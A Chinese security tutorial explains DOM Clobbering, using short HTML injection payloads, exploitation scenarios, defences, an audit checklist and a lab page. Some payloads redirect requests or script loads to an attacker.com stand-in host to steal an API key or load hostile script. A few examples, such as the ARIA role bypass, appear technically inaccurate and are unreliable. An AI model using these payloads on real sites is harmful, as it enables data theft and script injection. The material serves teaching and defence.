DOM Clobbering:HTML注入的另类攻击
网络安全系列第23篇 | 前端与浏览器安全
引言
提到HTML注入,大多数人第一反应是XSS——通过注入<script>标签执行恶意代码。但有一种更隐蔽、更巧妙的攻击方式:DOM Clobbering(DOM覆写)。它不依赖JavaScript执行,而是利用HTML元素本身来篡改JavaScript变量的行为。这种攻击在2013年被首次提出,近年来随着前端框架的广泛使用,其威胁日益凸显。
一、什么是DOM Clobbering?
核心概念
DOM Clobbering是一种利用HTML元素自动创建全局JavaScript对象的特性来覆盖(clobber)原有变量或对象的攻击技术。
在浏览器中,任何带有id或name属性的HTML元素,都会自动在window对象上创建一个同名的属性引用该元素。例如:
<div id="foo"></div>
<script>
console.log(window.foo); // HTMLDivElement
</script>这个特性原本是为了方便JavaScript操作DOM,但攻击者可以利用它来:
- 覆盖全局变量
- 篡改配置对象
- 劫持代码逻辑流
与XSS的区别
| 特性 | XSS | DOM Clobbering |
|---|---|---|
| 需要执行JS | 是 | 否 |
| 利用方式 | <script>或事件处理器 | 纯HTML元素 |
| 过滤难度 | 较易(过滤script标签) | 较难(合法HTML) |
| 危害性 | 高(任意代码执行) | 中(逻辑篡改) |
DOM Clobbering通常作为XSS的替代方案或权限提升手段使用。
二、攻击原理详解
基础覆写
最简单的DOM Clobbering攻击:
<!-- 攻击者注入的内容 -->
<a id="config"></a>
<!-- 受害网站的代码 -->
<script>
// 原本期望config是一个对象
if (config.debug) {
console.log("Debug mode");
}
// 现在config是HTMLAnchorElement,config.debug是undefined
</script>多层对象覆写
更复杂的攻击可以构造嵌套对象:
<!-- 攻击者注入 -->
<a id="app" name="settings"></a>
<a id="app" name="settings" href="javascript:alert(1)"></a>
<script>
// 访问app.settings时,由于多个同名元素,返回HTMLCollection
// HTMLCollection有length属性,某些代码可能误判为数组
console.log(app.settings); // HTMLCollection(2) [a, a]
</script>利用HTMLCollection的特性
当多个元素共享同一个id时,返回的是HTMLCollection:
<form id="x"></form>
<form id="x"></form>
<script>
console.log(x); // HTMLCollection(2)
console.log(x.length); // 2
console.log(x[0]); // 第一个form元素
console.log(x[1]); // 第二个form元素
</script>攻击者可以利用这个特性来构造满足特定条件检查的对象。
利用form元素的子元素
<form>元素有一个特殊属性:它的子元素会自动成为form对象的属性:
<!-- 攻击者注入 -->
<form id="config">
<input name="apiKey" value="attacker-controlled">
<input name="debug" value="true">
</form>
<script>
// 原本期望config是配置对象
console.log(config.apiKey); // "attacker-controlled"
console.log(config.debug); // "true"
</script>这是DOM Clobbering最危险的变体之一,因为它可以构造出结构完整的"假对象"。
三、真实攻击场景
场景1:配置对象覆写
// 网站的JavaScript
const config = window.config || { apiKey: 'default', endpoint: '/api' };
fetch(config.endpoint + '/data', {
headers: { 'X-API-Key': config.apiKey }
});攻击者注入:
<form id="config">
<input name="endpoint" value="https://attacker.com/steal">
<input name="apiKey" value="stolen-key">
</form>结果:数据被发送到攻击者服务器,API密钥泄露。
场景2:函数覆写与逻辑绕过
// 安全检查函数
function isAdmin() {
return window.user && window.user.role === 'admin';
}
if (isAdmin()) {
showAdminPanel();
}攻击者注入:
<a id="user" name="role" href="admin"></a>由于HTMLAnchorElement有role属性(ARIA),且值为"admin",安全检查被绕过。
场景3:原型链污染的前置条件
DOM Clobbering有时可以作为原型链污染(Prototype Pollution)的入口:
// 网站使用对象合并
const settings = Object.assign({}, window.defaults, window.userPrefs);如果攻击者能控制userPrefs的创建方式,可能进一步触发原型链污染。
场景4:客户端模板引擎攻击
许多前端模板引擎在渲染时会访问变量:
<!-- Mustache模板 -->
{{#config.debug}}
<div>Debug info: {{user.password}}</div>
{{/config.debug}}攻击者通过DOM Clobbering让config.debug为真值,导致敏感信息泄露。
四、高级利用技巧
利用srcdoc和iframe
<iframe srcdoc="
<a id='top' name='location' href='https://attacker.com'></a>
"></iframe>在某些情况下可以影响父窗口的变量。
利用SVG元素的命名空间
SVG元素同样可以用于DOM Clobbering:
<svg id="config">
<a id="config" name="enabled" />
</svg>利用JavaScript的隐式转换
// 某些代码可能这样检查
if (window.featureFlag == "true") { ... }
// 攻击者注入
<a id="featureFlag" href="true">text</a>
// HTMLAnchorElement的toString()返回href值
// 所以 featureFlag == "true" 可能为真构造特定类型的对象
通过精心选择HTML元素,可以构造具有特定属性和方法的对象:
| 目标类型 | 使用元素 | 关键属性 |
|---|---|---|
| 字符串 | <a> | href(toString返回) |
| 数组 | 多元素同id | HTMLCollection有length和索引访问 |
| 函数 | <a> | 某些情况下可作为函数调用 |
五、实际案例分析
案例:jQuery的DOM Clobbering漏洞(CVE-2019-11358)
虽然这是原型链污染漏洞,但其利用方式与DOM Clobbering密切相关:
// 漏洞代码
$.extend(true, {}, JSON.parse(maliciousJSON));攻击者通过控制JSON输入,结合DOM Clobbering控制对象结构,最终污染Object.prototype。
案例:Google Search的DOM Clobbering
安全研究人员发现,Google Search的某些页面存在DOM Clobbering漏洞:
- 攻击者可以注入带有特定
id的HTML - 页面JavaScript依赖这些全局变量进行配置
- 通过覆写配置,可以改变搜索行为或泄露数据
案例:现代框架中的隐患
React、Vue等框架虽然使用虚拟DOM,但在以下场景仍可能受影响:
- SSR(服务端渲染)时的HTML注入
- dangerouslySetInnerHTML / v-html 的使用
- 第三方组件的props注入
// 危险的React代码
function UserProfile({ bio }) {
return <div dangerouslySetInnerHTML={{ __html: bio }} />;
}如果bio包含<a id="config" ...>,且页面其他部分依赖window.config...
六、检测与防御
防御策略
1. 使用Symbol或闭包避免全局变量
// 不安全
const config = window.config || {};
// 安全
const CONFIG = Symbol('config');
window[CONFIG] = { apiKey: 'secret' };2. 使用Object.hasOwn()检查属性来源
// 不安全
if (config.debug) { ... }
// 安全
if (Object.hasOwn(config, 'debug') && config.debug) { ... }3. 使用Map/Set替代对象
// 不安全
const settings = {};
settings[key] = value;
// 安全
const settings = new Map();
settings.set(key, value);4. 严格的内容安全策略(CSP)
Content-Security-Policy: default-src 'self'; script-src 'self'虽然CSP主要防御XSS,但也能间接限制DOM Clobbering的利用。
5. HTML净化
使用DOMPurify等库时,确保配置正确:
// 移除id和name属性
DOMPurify.sanitize(dirty, {
ALLOWED_ATTR: ['href', 'title', 'class'], // 不包含id/name
});6. 避免使用id/name作为配置键
// 不安全:容易与DOM元素冲突
const element = document.getElementById('config');
// 安全:使用特定前缀
const element = document.getElementById('app-config');代码审计检查清单
- [ ] 是否使用全局变量存储配置?
- [ ] 是否检查对象属性的
hasOwnProperty? - [ ] 是否使用innerHTML/dangerouslySetInnerHTML?
- [ ] 是否过滤用户输入中的
id和name属性? - [ ] 是否依赖
window.xxx作为配置来源?
七、实验环境
简单的测试页面
<!DOCTYPE html>
<html>
<head>
<title>DOM Clobbering Lab</title>
</head>
<body>
<h1>DOM Clobbering 测试</h1>
<!-- 模拟用户输入 -->
<div id="user-content">
<!-- 在这里插入测试代码 -->
<a id="config" name="debug" href="true"></a>
</div>
<script>
// 模拟网站代码
console.log("Type of window.config:", typeof window.config);
console.log("window.config:", window.config);
if (window.config && window.config.debug) {
console.log("Debug mode enabled!");
}
</script>
</body>
</html>利用DOMPurify测试
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.0.1/purify.min.js"></script>
<script>
const dirty = '<a id="config" name="debug"></a>';
const clean = DOMPurify.sanitize(dirty);
console.log(clean); // 检查是否保留了id/name
</script>八、与其他漏洞的关系
DOM Clobbering → XSS
在某些情况下,DOM Clobbering可以升级为XSS:
// 网站代码
const script = document.createElement('script');
script.src = config.scriptUrl; // 被覆写攻击者注入:
<a id="config" name="scriptUrl" href="https://attacker.com/evil.js"></a>DOM Clobbering → 原型链污染
// 合并对象时
const merged = _.merge({}, window.defaults);如果window.defaults被DOM Clobbering控制,可能注入污染原型的属性。
DOM Clobbering → 开放重定向
window.location = config.redirectUrl || '/home';攻击者通过覆写config.redirectUrl实现钓鱼攻击。
九、现代浏览器的缓解措施
HTML标准的变化
WHATWG正在讨论限制DOM Clobbering的可能性:
- 考虑移除或限制
id/name自动创建全局变量的行为 - 但由于兼容性问题,短期内不太可能实现
浏览器实现差异
不同浏览器对DOM Clobbering的处理略有差异:
- Chrome/Firefox:标准行为
- Safari:某些情况下对
name属性的处理不同
未来方向
- Trusted Types:强制要求使用受信任的HTML字符串
- CSP nonce/hash:限制内联脚本执行
- 新的HTML规范:可能引入更严格的DOM属性隔离
十、总结
DOM Clobbering是一种被低估但极具威胁的攻击技术。它的核心危险在于:
- 不需要JavaScript执行:纯HTML即可攻击
- 难以过滤:
id和name是合法属性 - 影响深远:可以篡改配置、绕过检查、甚至升级为XSS
- 现代框架不免疫:SSR和原始HTML插入仍有风险
关键防御原则
- 不信任全局变量:避免使用
window.xxx作为配置 - 严格输入验证:过滤或转义
id和name属性 - 使用现代数据结构:Map/Set/Symbol替代普通对象
- 代码审计:重点检查配置读取和对象合并逻辑
参考资源
- PortSwigger: DOM Clobbering
- MDN: Window.namedItem
- WHATWG HTML Standard
- XSS.CX: DOM Clobbering Techniques
网络安全系列文章,每周更新。如有疑问或建议,欢迎留言讨论。